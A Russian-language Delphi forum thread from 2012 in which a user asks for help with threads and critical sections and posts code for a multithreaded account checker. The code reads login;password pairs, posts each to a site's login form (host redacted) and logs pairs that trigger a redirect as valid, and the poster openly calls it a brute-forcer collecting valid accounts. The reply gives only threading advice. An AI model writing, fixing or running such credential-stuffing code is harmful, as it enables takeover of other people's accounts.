Регистрация Главная Сообщество
Сообщения за день Справка Регистрация

Многопоточность, крит. секции.

-

Вопросы и ответы, обсуждения

- Ваши вопросы по Pascal/Delphi только в данном разделе

Ответ
 
Опции темы
Старый 20.05.2012, 12:23   #1
 Разведчик
Аватар для pavel!
 
pavel! никому не известный тип
Регистрация: 30.09.2010
Сообщений: 4
Популярность: 10
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
 
По умолчанию Многопоточность, крит. секции.

Всем привет, не как не могу справится с крит. секциями в многопоточность я уже вывел потоки в edit и пытаюся синхронизировать потоки, че бы да че но видимо из-за того что у меня нету критических секций(входа/выхода)
потоки идут не так как надо, чем больше потоков тем больше у меня бад аккаунтов, да и еще с чего-то они удваиваются...
Ребят объясните пожалусто с крит. секциями.
Вот мой код:

Код:
var
  Form1: TForm1;
  Thread, Acc:Integer;
  HTTP: TidHTTP;
  info:TStringList;
  FAcc, FPas:string;
  Work:Boolean;
implementation

{$R *.dfm}

constructor TNewThread.Create(CreateSuspended: Boolean);
begin
  inherited Create(CreateSuspended);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  Work:=True;
  for Thread:=1  to strtoint(Form1.Edit1.Text) do
  TNewThread.Create(false);
  Thread:=strtoint(form1.Edit1.Text);
  form1.Label1.Caption:='0';
  form1.Label2.Caption:='0';
end;

procedure TNewThread.Execute;
var
  i:Integer;
begin
    for i:=0 to Form1.Memo1.Lines.Count-1 do
  begin
    FAcc:=copy(Form1.Memo1.Lines.Strings[i],1,Pos(';',Form1.Memo1.Lines.Strings[i])-1);
    FPas:=copy(Form1.Memo1.Lines.Strings[i],Pos(';',Form1.Memo1.Lines.Strings[i])+1,length(Form1.Memo1.Lines.Strings[i])-Pos(';',Form1.Memo1.Lines.Strings[i])+1);
    HTTP:=TIdHTTP.Create(nil);
    HTTP.IOHandler:=Form1.IdSSLIOHandlerSocketOpenSSL1;
    HTTP.ReadTimeout:=StrToInt(form1.Edit2.Text);
    HTTP.Request.UserAgent:='Mozilla/5.0 (Windows NT 6.1; rv:10.0.2) Gecko/20100101 Firefox/10.0.2';
    HTTP.Request.Host:='урл';
    HTTP.Request.Referer:='урл./login';
    info:=TStringList.Create;
    info.Add('username='+FAcc);
    info.Add('password='+FPas);
    HTTP.HandleRedirects:=false;
    HTTP.AllowCookies:=True;
    form1.Gauge1.MaxValue:=i;
    try
      HTTP.Post('https://урл/', info);
      except
        end;
        if Pos('Location:', HTTP.Response.RawHeaders.Text)<>0 then
        Rez:=1
        else
        Rez:=0;
        info.Free;
        Synchronize(Sync);

end;
  dec(Thread);
 if Thread=0 then ShowMessage('OK');
end;

procedure TNewThread.Sync;
begin
   case Rez of
 1: begin
       form1.RichEdit1.SelAttributes.Color:=clRed;
       form1.RichEdit1.Lines.Add(FAcc+';'+Fpas);
        Form1.Label1.Caption:=IntToStr(StrToInt(Form1.Label1.Caption)+1);
        Form1.Gauge1.Progress:=Form1.Gauge1.Progress+1;
   end;
 0: begin
      Form1.Label2.Caption:=IntToStr(StrToInt(Form1.Label2.Caption)+1);
      Form1.Gauge1.Progress:=Form1.Gauge1.Progress+1;
   end;
end;
end;

Последний раз редактировалось pavel!; 20.05.2012 в 12:50.
  Ответить с цитированием
Старый 20.05.2012, 15:29   #2
Бандеровец
 Лейтенант-командор
Аватар для VeTaL_UA
 
VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(
Регистрация: 12.08.2010
Сообщений: 727
Популярность: 30569
Золото Zhyk.Ru: 1
Сказал(а) спасибо: 57
Поблагодарили 645 раз(а) в 386 сообщениях
Отправить сообщение для VeTaL_UA с помощью ICQ Отправить сообщение для VeTaL_UA с помощью Skype™
 
По умолчанию Re: Многопоточность, крит. секции.

Давай так, будем обучать тебя, выбери строчки кода, которые нужно синхронизировать.
________________
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов
Кошельки: WMZ - Z276844220882; WMR - R231028582939; WMU - U394136909210; ЯД - 410011494605270.

Perfect World: PWDatabaseScanner, Client, PWNickRenamer, PWClientRenamer, База логинов PW, Гайд по варУ, Зарабатываем репутацию.
Delphi: Авторизация на сайте с помощью Indy, Загрузка изображений с интернета в TImage с помощью Indy, Автоматическая смена стандартной версии Indy в Delphi на Indy 10.0.76 / 10.1.5, Основы парсинга с помощью Indy, Делаем Updater до программы с помощью Indy.
Other: ShowIP, FFUUU смайлы в QIP, Как играть в Minecraft (видеокурс), Как мы захватили человечество :D, Энергия в Лицемер/TopFace, PasGen.


  Ответить с цитированием
Старый 20.05.2012, 16:59   #3
 Разведчик
Аватар для pavel!
 
pavel! никому не известный тип
Регистрация: 30.09.2010
Сообщений: 4
Популярность: 10
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
 
По умолчанию Re: Многопоточность, крит. секции.

Цитата:
Rez:=1
else
Rez:=0;

Если я правельно понимаю, то надо синхронизировать Rez , а потом уже в синхозе их записать.
  Ответить с цитированием
Старый 20.05.2012, 21:48   #4
Бандеровец
 Лейтенант-командор
Аватар для VeTaL_UA
 
VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(
Регистрация: 12.08.2010
Сообщений: 727
Популярность: 30569
Золото Zhyk.Ru: 1
Сказал(а) спасибо: 57
Поблагодарили 645 раз(а) в 386 сообщениях
Отправить сообщение для VeTaL_UA с помощью ICQ Отправить сообщение для VeTaL_UA с помощью Skype™
 
По умолчанию Re: Многопоточность, крит. секции.

Цитата:
Сообщение от pavel!Посмотреть сообщение
Если я правельно понимаю, то надо синхронизировать Rez , а потом уже в синхозе их записать.

хм, не понимаю, зачем юзать крит. секции, если есть Synchronize, или же наоборот?
________________
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов
Кошельки: WMZ - Z276844220882; WMR - R231028582939; WMU - U394136909210; ЯД - 410011494605270.

Perfect World: PWDatabaseScanner, Client, PWNickRenamer, PWClientRenamer, База логинов PW, Гайд по варУ, Зарабатываем репутацию.
Delphi: Авторизация на сайте с помощью Indy, Загрузка изображений с интернета в TImage с помощью Indy, Автоматическая смена стандартной версии Indy в Delphi на Indy 10.0.76 / 10.1.5, Основы парсинга с помощью Indy, Делаем Updater до программы с помощью Indy.
Other: ShowIP, FFUUU смайлы в QIP, Как играть в Minecraft (видеокурс), Как мы захватили человечество :D, Энергия в Лицемер/TopFace, PasGen.


  Ответить с цитированием
Старый 21.05.2012, 12:46   #5
 Разведчик
Аватар для pavel!
 
pavel! никому не известный тип
Регистрация: 30.09.2010
Сообщений: 4
Популярность: 10
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
 
По умолчанию Re: Многопоточность, крит. секции.

Цитата:
Сообщение от VeTaL_UAПосмотреть сообщение
хм, не понимаю, зачем юзать крит. секции, если есть Synchronize, или же наоборот?

Я смотрел уроки про многопоточность и синхронизацию.Так вот там были кртичиские секции.В написании брута, при многопоточности у меня начелися терятся гуды, и почему-то он откуда не возьми берет левые цифры...
Когда я допустим кидаю в базу 10 аккаунтов и знаю что 5 из них валид, а он мне показывает что перебрутил 20акаунтов и только 1 валид, я и подумал о крит секциях и обратился к вам
Мне стало инитересно почему он не все валидные записывает и еще умножает аккаунты на N число
Допустим бады идут из-за прохово интернет соединения, т.к у меня модем 4G , но и он иногда выжимает по 10мбит.
Сейчас я реализовал многопоточность по уроку http://zhyk.ru/forum/showthread.php?t=409215 , НО щас меньше валидных аккаунтов записывает в бад, но всеже они есть.
  Ответить с цитированием
Ответ


Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Помогите!] Многопоточность! anonops Вопросы и ответы, обсуждения 7 25.04.2012 21:39
[Руководство] Многопоточность C# xFroLx C# 22 02.03.2012 23:59
[Помогите!] Многопоточность =PaLeTiZaToR= Вопросы и ответы, обсуждения 2 08.01.2012 19:23

Заявление об ответственности / Список мошенников

Часовой пояс GMT +4, время: 02:57.

Пишите нам: [email protected]
Copyright © 2024 vBulletin Solutions, Inc.
Translate: zCarot. Webdesign by DevArt (Fox)
G-gaMe! Team production | Since 2008
Hosted by GShost.net